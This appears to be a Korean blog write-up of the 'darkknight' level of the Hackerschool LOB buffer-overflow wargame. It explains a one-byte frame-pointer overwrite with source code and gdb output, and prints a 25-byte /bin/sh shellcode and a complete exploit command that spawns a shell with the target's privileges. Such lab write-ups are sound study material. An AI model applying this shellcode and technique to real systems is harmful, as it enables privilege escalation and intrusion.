golem에 로그인 하면 darkknight 실행파일과 darkknight.c 소스 파일이 존재한다. 소스부터 확인하였다.
/*
The Lord of the BOF : The Fellowship of the BOF
- darkknight
- FPO
*/
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
여태까지와는 다르게 함수를 선언해서 문자열을 복사해준다. 또한, strcpy가 아닌 strncpy로 복사하는데, strncpy는 복사할 길이를 지정해주는 함수이다. 지금까지는 48바이트를 복사해서 복귀 주소를 조작하였지만 해당 문제에서는 불가능해 보인다.
버퍼의 크기가 40인데 strncpy 함수로 41바이트만큼 복사한다. 무엇을 의미하는지 darkknight2로 복사해서 gdb를 통해 확인해보기로 한다.
(gdb) disas main
Dump of assembler code for function main:
0x804846c <main>: push %ebp
0x804846d <main+1>: mov %ebp,%esp
0x804846f <main+3>: cmp DWORD PTR [%ebp+8],1
0x8048473 <main+7>: jg 0x8048490 <main+36>
0x8048475 <main+9>: push 0x8048504
0x804847a <main+14>: call 0x8048354 <printf>
0x804847f <main+19>: add %esp,4
0x8048482 <main+22>: push 0
0x8048484 <main+24>: call 0x8048364 <exit>
0x8048489 <main+29>: add %esp,4
0x804848c <main+32>: lea %esi,[%esi*1]
0x8048490 <main+36>: mov %eax,DWORD PTR [%ebp+12]
0x8048493 <main+39>: add %eax,4
0x8048496 <main+42>: mov %edx,DWORD PTR [%eax]
0x8048498 <main+44>: push %edx
0x8048499 <main+45>: call 0x8048440 <problem_child>
0x804849e <main+50>: add %esp,4
0x80484a1 <main+53>: leave
0x80484a2 <main+54>: ret
0x80484a3 <main+55>: nop
0x80484a4 <main+56>: nop
0x80484a5 <main+57>: nop
0x80484a6 <main+58>: nop
0x80484a7 <main+59>: nop
0x80484a8 <main+60>: nop
0x80484a9 <main+61>: nop
0x80484aa <main+62>: nop
0x80484ab <main+63>: nop
0x80484ac <main+64>: nop
0x80484ad <main+65>: nop
0x80484ae <main+66>: nop
0x80484af <main+67>: nop
End of assembler dump.
main+3부터 if문을 통해 argc를 검사하는 코드가 나타나있다. main+44에서 argv[1]을 push하고, main+45에서 problem_child를 호출하고 있다. 0x08048440에 중단점을 걸고 problem_child 함수를 들여다보기로 한다. 입력 값에 대한 조건이 없기 때문에 알아보기 쉽게 "A" 41개를 인자로 넘겨 실행시켜보았다.
problem_child 함수의 어셈블리 코드는 다음과 같다.
(gdb) disas problem_child
Dump of assembler code for function problem_child:
0x8048440 <problem_child>: push %ebp
0x8048441 <problem_child+1>: mov %ebp,%esp
0x8048443 <problem_child+3>: sub %esp,40
0x8048446 <problem_child+6>: push 41
0x8048448 <problem_child+8>: mov %eax,DWORD PTR [%ebp+8]
0x804844b <problem_child+11>: push %eax
0x804844c <problem_child+12>: lea %eax,[%ebp-40]
0x804844f <problem_child+15>: push %eax
0x8048450 <problem_child+16>: call 0x8048374 <strncpy>
0x8048455 <problem_child+21>: add %esp,12
0x8048458 <problem_child+24>: lea %eax,[%ebp-40]
0x804845b <problem_child+27>: push %eax
0x804845c <problem_child+28>: push 0x8048500
0x8048461 <problem_child+33>: call 0x8048354 <printf>
0x8048466 <problem_child+38>: add %esp,8
0x8048469 <problem_child+41>: leave
0x804846a <problem_child+42>: ret
0x804846b <problem_child+43>: nop
End of assembler dump.
새로운 스택 프레임을 생성하고 buffer의 공간 40바이트를 할당한다. 그 후에 ebp+8에 저장된 값을 eax에 저장하고 push하는데, 이것이 src 인자로 넘어온 argv[1] 값이다.
problem_child의 구조는 다음과 같다.
buffer (40 Byte) | sfp (4 Byte) | ret (4 Byte) | src (4 Byte) |
buffer에 41바이트만큼 복사하면 sfp의 마지막 1바이트의 값을 조작할 수 있다.
확인을 위해 Buffer를 할당한 후의 ebp 값과 strncpy가 실행된 후의 ebp를 비교해준다.
보이는 것처럼 ebp에 저장되어있던 0xbffffaf8의 뒤의 1바이트가 41로 바뀌어서 0xbffffa41이 되었다. 그렇다면 0xbffffaf8이 의미하는 것은 무엇일까? 바로 기존 스택프레임의 바닥(ebp) 주소이다. problem_child의 기존 함수의 스택 프레임은 바로 main이다. 즉, main의 ebp를 조작한 것이다.
다시 main 함수로 돌아오기 위해, main+50에 중단점을 걸고 c를 실행한 뒤에 ebp를 출력하였다.
보이는 것처럼 ebp가 0xbffffa41이 되었다. 이후에 leave, ret을 실행하기 때문에 컴퓨터는 ebp의 4바이트 뒤의 주소인 0xbffffa45를 ret으로 인식하고 해당 주소에 저장된 주소로 복귀하고자 할 것이다. 이를 이용해 쉘 코드를 실행시키면 될 듯하다.
앞에서 본 것처럼 main 함수의 ebp와 problem_child 함수의 ebp가 뒤의 1바이트만 다르고 앞의 3바이트는 모두 같았던 것을 이용해서 공격할 수 있을 듯 하다. 방법은 다음과 같다.
- argv[1]에 ret에 덮어씌울 주소 4바이트 + 36바이트의 [NOP + 쉘코드]와 주소 변경을 위한 값 1바이트를 인자로 실행.
- ret에 덮어씌울 주소는 buffer+4.
- 변경할 주소는 argv[1]의 값이 복사되어 저장되는 buffer의 시작 주소 - 4바이트.
- main의 ebp가 buffer - 4가 되면 이후 leave를 실행하고나면 buffer를 가리키게 됨.
- buffer의 앞 4바이트에 저장된 주소로 이동하여 쉘 코드 실행.
먼저, 안전한 실행을 위해서 비교적 짧은 쉘코드를 사용하려 한다. 쉘 코드는 다음과 같으며, 총 25바이트이다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
페이로드는 다음과 같다.
./darkknight2 `python -c 'print "버퍼+4의 주소" + "\x90"*11 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" +"변경할 주소값"'`
거의 다 완성되었고, 변경할 주소 값만 알아내면 된다. 주소값을 아무거나 작성해서 gdb를 통해 실행한 후, buffer의 위치를 확인하도록 한다.
\x90이 시작되는 부분이 0xbffffac4이고 이 곳이 buffer의 시작 주소이다. 4번째 줄의 2번째부분 0xbffffa90을 보면 정상적으로 ebp를 조작한 것을 확인할 수 있다.
우리가 알아야 할건 buffer-4와 buffer+4인데, buffet-4는 0xbffffac0이다. "c0"을 페이로드의 마지막에 다시 작성하면 된다.
또한, buffer+4를 ret의 주소로 덮어씌워야 하기 때문에 페이로드의 앞 4바이트는 0xbffffac8이 되어야 한다. 페이로드를 재작성하면 다음과 같다.
./darkknight2 `python -c 'print "\xc8\xfa\xff\xbf" + "\x90"*11 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" +"c0"'`
쉘이 실행되었다! 이제 darkknight에 그대로 실행시켜준다.
성공적으로 darkknight의 권한을 획득하였다. my-pass를 통해 패스워드를 알아낸 후 darkknight로 로그인하면 된다.
'Pwnable > LOB' 카테고리의 다른 글
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level11 (0) | 2020.08.16 |
---|---|
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level10 (0) | 2020.08.15 |
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level9 (0) | 2020.08.15 |
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level8 (0) | 2020.08.15 |
[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level7 (0) | 2020.08.14 |